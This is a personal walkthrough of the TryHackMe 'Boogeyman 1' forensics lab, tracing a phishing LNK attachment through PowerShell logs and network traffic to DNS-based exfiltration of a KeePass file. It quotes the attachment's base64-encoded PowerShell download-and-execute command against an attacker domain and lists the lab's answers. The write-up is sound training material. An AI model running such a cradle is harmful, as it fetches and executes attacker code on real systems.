Date: 2025-08-10
Difficulty:Unknown|Easy| Medium |Hard
Reference: https://tryhackme.com/room/boogeyman1
Uncover the secrets of the new emerging threat, the Boogeyman.
In this room, you will be tasked to analyse the Tactics, Techniques, and Procedures (TTPs) executed by a threat group, from obtaining initial access until achieving its objective.
Investigation Platform
Before we proceed, deploy the attached machine by clicking the Start Machine button in the upper-right-hand corner of the task. It may take up to 3-5 minutes to initialise the services.
The machine will start in a split-screen view. In case the VM is not visible, use the blue Show Split View button at the top-right of the page.
For the investigation proper, you will be provided with the following artefacts:
Note: The powershell.json file contains JSON-formatted PowerShell logs extracted from its original evtx file via the evtx2json tool.
You may find these files in the /home/ubuntu/Desktop/artefacts directory.
The provided VM contains the following tools at your disposal:
To effectively parse and analyse the provided artefacts, you may also utilise built-in command-line tools such as:
Now, let's start hunting the Boogeyman!
Julianne, a finance employee working for Quick Logistics LLC, received a follow-up email regarding an unpaid invoice from their business partner, B Packaging Inc. Unbeknownst to her, the attached document was malicious and compromised her workstation.

The security team was able to flag the suspicious execution of the attachment, in addition to the phishing reports received from the other finance department employees, making it seem to be a targeted attack on the finance team. Upon checking the latest trends, the initial TTP used for the malicious attachment is attributed to the new threat group named Boogeyman, known for targeting the logistics sector.
You are tasked to analyse and assess the impact of the compromise.
I used cat and grep to extract the sending email address:

agriffin@bpakcaging.xyz
Same approach as the question before:

julianne.westcott@hotmail.com
The information is written in the header of the mail. I read the mail with cat and used head -n 50 to get the first 50 lines of the mail. I found the DKIM-Signature of the third-party mail relay service:

elasticemail
To get the attachment of the mail I finally opened the mail in Thunderbird and downloaded the zip-file. Then I opened it (and I presume that I'm working on a secure, sandboxed environment) and saw the name of the file that is inside the archive:

Invoice_20230103.lnk
The password was plain in the email:

Invoice2023!
I unzipped the archive and used lnkparse Invoice_20230103.lnk to parse the content of this lnk. There I found the encoded string:

aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZgBpAGwAZQBzAC4AYgBwAGEAawBjAGEAZwBpAG4AZwAuAHgAeQB6AC8AdQBwAGQAYQB0AGUAJwApAA==
Based on the initial findings, we discovered how the malicious attachment compromised Julianne's workstation:
Investigation Guide
With the following discoveries, we should now proceed with analysing the PowerShell logs to uncover the potential impact of the attack:
JQ Cheatsheet
jq is a lightweight and flexible command-line JSON processor. This tool can be used in conjunction with other text-processing commands.
You may use the following table as a guide in parsing the logs in this task.

I never worked with the jq tool before so I had to do some try and errors. I got familiar with it first by getting all the fields thats in there. After some failed tries I successfully used cat powershell.json | jq keys[] | sort | uniq to get all the keys that are available:

I found out that the ScriptBlockText field provides the executed commands. I used the following command to get all the information:
cat powershell.json | jq -s -c 'sort_by(.Timestamp) | .[]'| jq '{ScriptBlockText}'| sort | uniq

cdn.bpakcaging.xyz,files.bpakcaging.xyz
Using the same command as last question, I received the answer:

seatbelt

C:\Users\j.westcott\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
The directory was ...\Microsoft.MicrosoftStickyNotes[...] so the software is Microsoft Sticky Notes.
Microsoft Sticky Notes
In the following screenshot you can see that the file protected_data.kdbx was the exfiltrated file:

protected_data.kdbx
I use this software myself so I already knew the answer. But a quick research can be done as well.
keepass

hex
In the log you can see that the attacker uses nslookup (so DNS) to his C2 server and is sending A Record requests with the data of the exfiltrated file in chunks:

nslookup
Based on the PowerShell logs investigation, we have seen the full impact of the attack:
Investigation Guide
Finally, we can complete the investigation by understanding the network traffic caused by the attack:
I opened the capture.pcapng file in wireshark and started to analyze it.
From the previous question I know that the attacker downloaded sq3.exe from his C2 server. I used the following filter to get the information I need:

I followed the http stream of the filtered package and got the answer:

Python
By filtering the http traffic by the C2 domains (bpakcaging.xyz) we can see POST requests thats been send via appilcation/x-www-form-urlencoded (and also in the previous questions of task 2 we saw that the attacker used POST requests):

POST
I can answer this question also based on the last task. I found out that the tool nslookup was used for exfiltration and this is sending DNS requests (to the attackers DNS server).
DNS
I used the hint of THM:

So I filtered for http request that contains sq3.exe. I checked all the results and in the last one was the SQL statement "SELECT * from NOTE limit 100" (I saw the command in the previous task before as well). I followed the TCP stream and saw it was the stream 749. I checked the next TCP stream to see the response of the server:

This encoded message has to be decoded. For the decoding I used CyberChef. Since there are just numbers, no letters (like a-f for hex) I tried the decoding "From Decimal" and got the result and also the password:

%p9^3!lL^Mz47E2GaT^y
I know the following:
Now I have to extract the A-record DNS requests to the C2 server. THM hint recommended using tshark for the exfiltration. To be honest this took me a while and I used some research how to do it and how to exfiltrate the data of the dns requests. This is the command I used:
tshark -r capture.pcapng -Y "dns" -T fields -e dns.qry.name | grep bpakcaging.xyz | cut -f1 -d "." | grep -v -e "cdn" -e "files" | uniq | tr -d "\n" > kdbx.txt
| Operation | Description |
|---|---|
tshark -r capture.pcapng |
Read the pcapng file. |
-Y "dns" |
Apply a display filter for DNS. |
-T fields |
Output only the specified display filter fields (here: DNS queries). |
grep bpakcaging.xyz |
Filter only entries for the C2 server domain. |
cut -f1 -d "." |
Extract only the first part (subdomain), as it contains the payload, by splitting the results at the . delimiter. |
grep -v -e "cdn" -e "files" |
Exclude any results containing cdn or files (-v inverts the match). |
uniq |
Remove duplicate lines. |
tr -d "\\n" |
Remove newline characters. |
> kdbx.txt |
Save the output to the file kdbx.txt. |
I decoded the hex encoded data with CyberChef and saved the filed on my computer. Then I opened the file with keepass, used the password of the previous question and got the result:

4024007128269551